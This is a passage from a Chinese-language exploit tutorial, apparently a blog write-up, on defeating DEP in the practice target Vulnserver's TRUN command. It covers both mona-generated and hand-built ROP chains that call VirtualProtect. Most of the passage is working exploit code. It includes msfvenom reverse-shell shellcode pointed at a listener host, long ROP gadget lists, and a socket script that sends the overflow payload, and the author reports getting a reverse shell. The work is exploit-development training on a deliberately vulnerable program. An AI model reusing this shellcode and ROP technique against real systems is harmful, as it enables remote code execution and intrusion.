shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x76ce19d7, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x76ce19d7, # skip 4 bytes [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x76cd742b, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x775e3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x764d5599, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75c63882, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x775e236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7651321c, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76cb9233, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x62504e77, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x777a26e4, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x775e379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_esi:---]
0x775b2ed8, # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c1d8b2, # JMP [EAX] [KERNELBASE.dll]
0x7650841c, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
#[---INFO:pushad:---]
0x75cd8144, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:extras:---]
0x625011af, # ptr to 'jmp esp' [essfunc.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)



PAYLOAD = (
b'TRUN .' +
b'A' * 2006 +
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
create_rop_chain() +
b"\x90"*32+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

反弹shell成功:

DEP

自动化产生ROP的方式,还是太过简单,来看看手动构造。基础知识就不提了,前面几篇DEP相关的文章都写了。

首先,在IDA中查找导入表,看能否找到VirtualProtect或者VirtualAlloc的地址。这里我选择从essfunc.dll中查看,因为从vulnserver.exe中查看,发现找到的地址包含00,不便于后续处理,还有注意最后的DLL是需要程序运行时加载的:

DEP

可以看到VirutalProtect的导入表地址为6250609C

注意VirtualProtect的函数结构:

1
2
3
4
5
6
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

在编写利用脚本时,VirtualProtect函数需要写成如下所示:

1
2
3
4
5
6
func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address
func += struct.pack("<L",0x46464646) # Shellcode Return Address
func += struct.pack("<L",0x47474747) # dummy Shellcode Address
func += struct.pack("<L",0x48484848) # dummy dwSize
func += struct.pack("<L",0x49494949) # dummy flNewProtect
func += struct.pack("<L",0x62502610) # dummy lpflOldProtect

可以看见,目前这里都是随机填写的,后续需要通过ROP Gadget去修改为正确的值。有一点需要注意,最后的lpflOldProtect参数,可以选择一个可读可写的内存地址,后续ROP Gadget也不需要进行修改。这里我选择essfunc.dll中的未使用空间,并且地址不包含00

查看essfunc.dll的地址:

DEP

查看对应地址的属性:(!vprot或者!address都可)

DEP

查看选择的地址0x62502610

DEP

接下来开始组织ROP Gadgets,首先需要保存ESP的值,最好是保存到两个寄存器中:

1
2
3
# PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
# MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
# MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}

寻找合适的ROP Gadget是一个非常繁琐的过程,上面所示就是本例中适合保存ESPPOP Gadget,并且方便后续的操作。

接下来看,如何把IATVirtualProtect的地址存放到之前45454545占位符所在的位置,下面是对应的ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eip  = struct.pack("<L",0x62501022)          # retn   essfunc.dll
rop1 = struct.pack("<L", 0x7760296e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75cd245f) # MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

rop1 += struct.pack("<L",0x76c85164) # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x6250609C) #IAT 6250609C VirtualProtect KERNEL32
rop1 += struct.pack("<L",0x76507518) # XCHG EAX,DWORD PTR [ECX] # RETN ** [RPCRT4.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775b2fac) # MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

注意上面这段POP Gadgets的关键点是需要找到45454545占位符的位置,这需要在windbg中不断调试。

接下来是shellcode的地址覆盖到占位符4646464647474747的位置。这里有点意思:因为目前你不知道shellcode的具体位置,还有一个点就是ROP Gadget是占空间的,随着ROP Gadget越来越多,前期找到的shellcode地址可能就偏移了,就会导致执行的地址在shellcode中间,导致shellcode无法执行。有一个办法就是在shellcode之前加一段较大范围的\x90,这样来回小范围移动,并不会影响最终shellcode的执行。看一下这段ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
rop1 += struct.pack("<L",0x74ea4480)        # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c7e8ff) # MOV EAX,ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

接下来覆盖46464646占位符所在地址的内容。按照我们之前编写的VirtualProtect函数模版,每个参数之间的地址差都是4bytes,所以这里只需要对上一步中EAX4,就能执行46464646占位符的地址,然后修改其中的值即可。ROP Gadgets如下:

1
2
3
4
5
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

接下来,有一些小技巧:

DEP

为了保存0x01,可以使用如下ROP Gadget

1
2
3
# POP EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
# -1
# NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}

其中,-1按照之前的技巧,等于ffffffff,然后用NEG指令即可得到1

这段的ROP Gadgets如下所示:

1
2
3
4
5
6
7
8
9
10
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea2450) # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0xffffffff) # -1
rop1 += struct.pack("<L",0x775e236e) # NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

接下来继续看如何保存0x40,继续使用之前介绍的小技巧:

DEP

直接看这段的ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x80808080) # first value to be added
rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x7f7f7fc0) # second value to be added
rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

因为EAXEDX都被使用到,注意EDX在使用之前,需要将其中保存的ESP原始值保存到其他寄存器中,这里找到符合要求的EBX,注意# MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}这条ROP Gadget

接下来,就是执行VirutalProtect函数,这里需要ESP指向VirualProtect在栈空间里面的位置,最终的ROP Gadgets如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rop1 += struct.pack("<L",0x76535eb8)    # MOV EAX,EBX # POP EBX # RETN    ** [RPCRT4.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775a0c40) # XCHG EAX,ESP # RETN ** [KERNEL32.DLL] ** | ascii {PAGE_EXECUTE_READ}

以上就是关键步骤的ROP Gadgets。最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.13.203'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address
func += struct.pack("<L",0x46464646) # Shellcode Return Address
func += struct.pack("<L",0x47474747) # dummy Shellcode Address
func += struct.pack("<L",0x48484848) # dummy dwSize
func += struct.pack("<L",0x49494949) # dummy flNewProtect
func += struct.pack("<L",0x62502610) # dummy lpflOldProtect

eip = struct.pack("<L",0x62501022) # retn essfunc.dll
rop1 = struct.pack("<L", 0x7760296e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75cd245f) # MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

rop1 += struct.pack("<L",0x76c85164) # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x6250609C) #IAT 6250609C VirtualProtect KERNEL32
rop1 += struct.pack("<L",0x76507518) # XCHG EAX,DWORD PTR [ECX] # RETN ** [RPCRT4.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775b2fac) # MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c7e8ff) # MOV EAX,ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
